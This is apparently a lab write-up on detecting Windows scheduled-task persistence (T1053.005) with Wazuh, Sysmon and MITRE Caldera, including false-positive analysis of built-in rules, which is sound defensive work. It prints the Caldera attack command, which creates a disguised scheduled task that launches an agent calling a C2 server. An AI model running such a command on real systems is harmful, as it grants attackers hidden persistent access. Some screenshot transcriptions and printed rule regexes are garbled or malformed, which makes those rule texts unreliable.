

Detection Engineering using Wazuh and MITRE Caldera

Detection and Analysis of Windows Scheduled Task Persistence using a Custom Wazuh Rule

MITRE ATT&CK Technique T1053.005 — Scheduled Task/Job: Scheduled Task

Abstract

Cyber attackers frequently employ persistence mechanisms to maintain access to compromised systems. Traditional security solutions may generate generic alerts that fail to clearly identify the attack technique. This project demonstrates the use of Wazuh SIEM integrated with Sysmon and MITRE Caldera to simulate a Windows Scheduled Task persistence technique and develop a custom detection rule capable of accurately identifying it. The project also investigates built-in Wazuh detections that fired alongside the attack, performs false-positive root-cause analysis, and develops improved custom detection logic.

Objectives

- Build a Windows attack detection laboratory
- Simulate Scheduled Task persistence using MITRE Caldera
- Collect detailed telemetry using Sysmon
- Analyze Windows process creation events
- Develop a custom Wazuh detection rule
- Investigate and root-cause false positives from built-in rules
- Map the detection to the MITRE ATT&CK framework

Lab Environment

Component	Description
Operating System	Ubuntu 24.04
SIEM	Wazuh 4.x
Endpoint	Windows 10
Agent	Wazuh Agent
Logging	Sysmon
Attack Framework	MITRE Caldera
Virtualization	VMware Workstation

Architecture

```
Attacker
-> MITRE Caldera
-> Windows Victim
-> Sysmon
-> Windows Event Logs
-> Wazuh Agent
-> Wazuh Manager
-> Detection Rules
-> Alerts Dashboard
```

Phase 1 – Environment Setup

Ubuntu

- Docker
- Wazuh Manager
- Wazuh Dashboard

Windows

- Wazuh Agent
- Sysmon

MITRE Caldera

- Installed on Ubuntu
- Sandcat agent deployed on Windows
- Successfully connected to the Caldera server

Phase 2 – Enabling Telemetry

Standard Windows Event Logs lacked sufficient detail for advanced attack detection. Sysmon was installed and Event ID 1 (Process Creation) with command-line logging was enabled, exposing the key fields used throughout this investigation:

```
win.eventdata.commandLine  
win.eventdata.image  
win.eventdata.parentImage  
win.eventdata.user  
win.eventdata.processId
```

Phase 3 – Attack Simulation

MITRE Caldera's “Agent Persistence via Scheduled Task (schtasks.exe)” ability was executed against the Windows victim, mapping to MITRE ATT&CK T1053.005 — Scheduled Task/Job: Scheduled Task (Persistence):

```
powershell.exe -ExecutionPolicy Bypass -C "schtasks /Create /F /TN "Daily Digest Report"  
/TR "C:\Users\Public\upSunkd.exe" -server http://192.168.142.130:8888 -group red"  
/SC weekly /D MON,TUE,WED,THU,FRI /ST 09:30
```

Phase 4 – IOC Analysis

Wazuh

Magma | Caldera

Not Secure

192.168.142.129/app/threat-hunting?overview?tab=general&tabView=events&a=(filters:[]),query:(language:query,query="")&_g=(filter:)

90%

star

API

1513629884013

+

o

Threat Hunting

DESKTOP-TDOGRJA

100

500

1000

1500

2000

0

1000

2000

3000

4000

Aug 2, 2026 @ 00:00:00 (ms)

538

Export Formatted

Reset view

742 available fields

Columns

Density

1 fields sorted

Full screen

timestamp

agent name

rule description

Aug 2, 2026 @ 22:08:36.224

DESKTOP-TDOGRJA

Executable file dropped in folder commonly used by

Aug 2, 2026 @ 22:08:36.321

DESKTOP-TDOGRJA

Encoded PowerShell command detected

Aug 2, 2026 @ 22:08:34.971

DESKTOP-TDOGRJA

Executable file dropped in folder commonly used by

Aug 2, 2026 @ 21:57:28.521

DESKTOP-TDOGRJA

Software protection service scheduled successfully

Aug 2, 2026 @ 21:57:03.479

DESKTOP-TDOGRJA

Name resolution for the name wpaad timed out

Aug 2, 2026 @ 21:56:58.421

DESKTOP-TDOGRJA

License activation (sku) event failed

Aug 2, 2026 @ 21:56:55.286

DESKTOP-TDOGRJA

Name resolution for the name wpaad timed out

Aug 2, 2026 @ 21:56:54.421

DESKTOP-TDOGRJA

Suspicious Windows cmd shell execution

Aug 2, 2026 @ 21:56:54.196

DESKTOP-TDOGRJA

Windows command prompt started by an abnormal

Aug 2, 2026 @ 21:56:54.154

DESKTOP-TDOGRJA

Windows System error event

Aug 2, 2026 @ 21:48:40.064

DESKTOP-TDOGRJA

Software protection service scheduled successfully

Aug 2, 2026 @ 21:48:31.937

DESKTOP-TDOGRJA

Windows command prompt started by an abnormal

Document Details

View surrounding documents

View single document

Level1

f data.win.event.data.logonuid (5562182-482a-fa5e-a702-000000000000)

f data.win.event.data.logonid 0x592a7

f data.win.event.data.originalIp PowerShell.EXE

f fileName

f data.win.event.data.parentCmd powershell.exe -ExecutionPolicy Bypass -C 'powershell -Enc ce8jAgG4SdADWMAa...

f data.win.event.data.parentProcessId 948

f data.win.event.data.parentUser DESKTOP-TDOGRJA\Victim

f data.win.event.data.processId 13296

f data.win.event.data.product Microsoft Windows Operating System

f data.win.event.data.resId 1

f data.win.event.data.user DESKTOP-TDOGRJA\Victim

f data.win.event.data.utime 2825-08-02 16:38:25.449

f data.win.event.data.userName Microsoft-Windows-Symon\Operational

Page 4

[illegible]

Figure 3 — Full Sysmon document detail for the scheduled task creation event.

Phase 5 – Detection Engineering

Custom Rule — Scheduled Task Persistence Detection (rule.id 100230)

```
<rule id="100230" level="13">
  <if_group>sysmon_event1</if_group>
  <field name="win.eventdata.commandLine" type="pcre2">(?)schtasks\s/create</field>
  <description>Windows Scheduled Task Persistence Detected</description>
  <mitre>
    <id>T1053.005</id>
  </mitre>
</rule>
```

```
72 * <rule id="100230" level="12">
73   <if_group>sysmon_event1</if_group>
74
75   <field name="win.eventdata.commandLine" type="pcr2">(?:).*schtasks.*\|create.*</field>
76
77   <description>Windows Scheduled Task Persistence Detected</description>
78
79 *   <mitre>
80     <id>T1053.005</id>
81   </mitre>
82
83 *   <group>
84     persistence,
85     scheduled_task,
86     custom_detection
87   </group>
88 </rule>
89 </group>
90
```

Figure 4 — Custom rule 100230 as configured in Wazuh.

timestamp	agent.name	rule.description	rule.level	rule.id
Aug 4, 2026 @ 16:12:03.414	DESKTOP-TDOGRJA	Windows Scheduled Task Persistence Detected	12	100230
Aug 4, 2026 @ 16:12:03.414	DESKTOP-TDOGRJA	Executable file dropped in folder commonly used by malware	15	92213
Aug 4, 2026 @ 16:12:03.410	DESKTOP-TDOGRJA	Windows Scheduled Task Persistence Detected	12	100230

Figure 5 — Custom rule 100230 firing successfully on the simulated attack.

False Positive Analysis

During testing, two built-in Wazuh rules fired alongside the custom persistence rule, even though neither directly detects scheduled task creation:

Rule 92021 — “PowerShell was used to delete files or directories” (level 3)

The attack command was `powershell.exe -ExecutionPolicy Bypass -C "schtasks /Create ..."`. On startup, PowerShell creates a temporary execution-policy test file (`__PSScriptPolicyTest_XXXXX.ps1`) and auto-deletes it once the check completes. Sysmon logs that deletion, and Wazuh’s broad “PowerShell + file deletion” rule fires on this internal cleanup — not on any attacker-driven deletion.

Rule 92213 — “Executable file dropped in folder commonly used by malware” (level 15)

Sourced from Sysmon Event ID 11 (File Create). The same temporary policy-test file was written to `C:\Users\Victim\AppData\Local\Temp\__PSScriptPolicyTest_XXXXX.ps1`. Because `AppData\Local\Temp` is a common malware drop location, Wazuh’s generic heuristic fires — without awareness that the file is a routine PowerShell artifact.

Conclusion

Both alerts are legitimate secondary signals but indirect — they describe PowerShell’s own startup behavior, not the attacker’s actual persistence action. This gap motivated building a dedicated rule matching `schtasks /Create` directly, giving a high-fidelity, unambiguous detection for T1053.005.

```

231 * <rule id="92021" level="3">
232   <if_group>sysmon_event1</if_group>
233   <field name="win.eventdata.originalFileName" type="pcre2">(?!PowerShell\|\.EXE</field>
234   <field name="win.eventdata.commandLine" type="pcre2">(?!)(Remove-Item|ri|rm|rmdir|del|erase|rd)\b</field>
235   <options>no_full_log</options>
236   <description>Powershell was used to delete files or directories</description>
237 *   <mitre>
238     <id>T1070.004</id>
239   </mitre>
240 </rule>
241

```

Figure 6 — Built-in rule 92021 definition that correlated with the attack.

Aug 2, 2026 @ 22:20:58.155	DESKTOP-TDOGRJA	Executable file dropped in folder commonly used by malware	15	92213
----------------------------	-----------------	--	----	-------

Figure 7 — Rule 92213 firing during the attack.

Troubleshooting Process

1. Task Scheduler auditing was disabled by default

Event ID 4698 ("A scheduled task was created") was not being logged. This was fixed via:

```
auditpol /set /subcategory:"Other Object Access Events" /success:enable
```

After enabling, Wazuh began generating rule 60228 (“A scheduled task was created”) alongside rule 92213.

```

Administrator: Windows PowerShell

Use AuditPol <command> /? for details on each command
PS C:\Windows\system32> auditpol /get /subcategory:"Other Object Access Events"
System audit policy
Category/Subcategory      Setting
Object Access
    Other Object Access Events    No Auditing
PS C:\Windows\system32> auditpol /set /subcategory:"Other Object Access Events" /success:enable
The command was successfully executed.
PS C:\Windows\system32> auditpol /get /subcategory:"Other Object Access Events"
System audit policy
Category/Subcategory      Setting
Object Access
    Other Object Access Events    Success
PS C:\Windows\system32> schtasks /Delete /TN "Daily Digest Report" /F
SUCCESS: The scheduled task "Daily Digest Report" was successfully deleted.
PS C:\Windows\system32> schtasks /Delete /TN "Daily Digest Report" /F^C
PS C:\Windows\system32> schtasks /Delete /TN "Daily Digest Report" /F^C
PS C:\Windows\system32> schtasks /Delete /TN "Daily Digest Report" /FGet-WinEvent -FilterHashtable @(LogName='Security'; Id=4698)^C
PS C:\Windows\system32> Get-WinEvent -FilterHashtable @(LogName='Security'; Id=4698)

ProviderName: Microsoft-Windows-Security-Auditing

TimeCreated              Id LevelDisplayName Message
-----
03-08-2026 23:53:53      4698 Information    A scheduled task was created....

PS C:\Windows\system32> Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" |
>> Where-Object {$_.Message -like "*schtasks*"} |
>> Select-Object -First 10

ProviderName: Microsoft-Windows-Sysmon

TimeCreated              Id LevelDisplayName Message
-----
04-08-2026 00:14:12      1 Information    Process Create:...
04-08-2026 00:14:11      1 Information    Process Create:...
04-08-2026 00:12:54      1 Information    Process Create:...
04-08-2026 00:12:38      1 Information    Process Create:...
03-08-2026 23:59:51      1 Information    Process Create:...
03-08-2026 23:59:51      1 Information    Process Create:...
03-08-2026 23:55:08      1 Information    Process Create:...
03-08-2026 23:55:08      1 Information    Process Create:...
03-08-2026 23:53:52      1 Information    Process Create:...
03-08-2026 23:31:54      1 Information    Process Create:...

PS C:\Windows\system32>

```

Figure 8 — Enabling Task Scheduler object-access auditing via auditpol.

timestamp	agent.name	rule.description	rule.level	rule.id
Aug 4, 2026 @ 01:52:50.578	DESKTOP-TDOGRJA	A scheduled task was created	4	60228
Aug 4, 2026 @ 01:52:50.148	DESKTOP-TDOGRJA	Executable file dropped in folder commonly used by malware	15	92213

Figure 9 — Rule 60228 and 92213 firing after audit policy was enabled.

2. Built-in rules 92021/92213 fired instead of a dedicated rule

Root-caused as PowerShell's internal policy-test cleanup rather than the attack itself (see False Positive Analysis) — this directly motivated the creation of custom Rule 100230.

timestamp	agent.name	rule.description	rule.level	rule.id
Aug 3, 2026 @ 02:23:00.884	DESKTOP-TDOGRJA	Executable file dropped in folder commonly used by malware	15	92213
Aug 3, 2026 @ 02:23:00.840	DESKTOP-TDOGRJA	Powershell was used to delete files or directories	3	92021

Figure 10 — Built-in rules observed during troubleshooting.

3. Field selection

Multiple fields were evaluated before settling on win.eventdata.commandLine as the most reliable field, since it contained the attacker's exact command.

4. Regex tuning

Initial expressions failed to match reliably; they were refined using PCRE2 until the custom rule fired consistently.

Final Detection Workflow

```
MITRE Caldera
-> PowerShell
-> schtasks /Create
-> Sysmon Event ID 1
-> Windows Event Log
-> Wazuh Agent
-> Wazuh Manager
-> Built-in Rules (92021, 92213, 60228)
-> Custom Rule 100230
-> Scheduled Task Persistence Detected
```

Results

The custom rule successfully and reliably detected Scheduled Task Persistence (T1053.005) via schtasks /Create, while built-in rules 92021 and 92213 were investigated, root-caused, and understood as indirect artifacts rather than direct indicators.

MITRE ATT&CK Mapping

Technique	ATT&CK ID
Scheduled Task Persistence	T1053.005

Lessons Learned

- Windows telemetry collection using Sysmon
- Wazuh event decoding and field selection
- Process creation and file creation event analysis
- Detection engineering methodology and rule tuning (PCRE2)
- Root-causing false positives instead of dismissing them
- IOC analysis and MITRE ATT&CK mapping
- Detection validation using MITRE Caldera

Conclusion

This project demonstrated how custom detection engineering can significantly improve visibility into Windows Scheduled Task persistence. By integrating Sysmon, Wazuh, and MITRE Caldera, a realistic attack simulation was executed and analyzed in a controlled environment. A custom rule was developed to reliably detect Scheduled Task Persistence (T1053.005), and a detailed root-cause investigation explained why built-in rules 92021 and 92213 fired as indirect artifacts of PowerShell's own startup behavior rather than the attack itself. This process — telemetry collection, event analysis, rule tuning, and genuine false-positive investigation — reflects a practical, SOC-relevant approach to building a high-fidelity detection.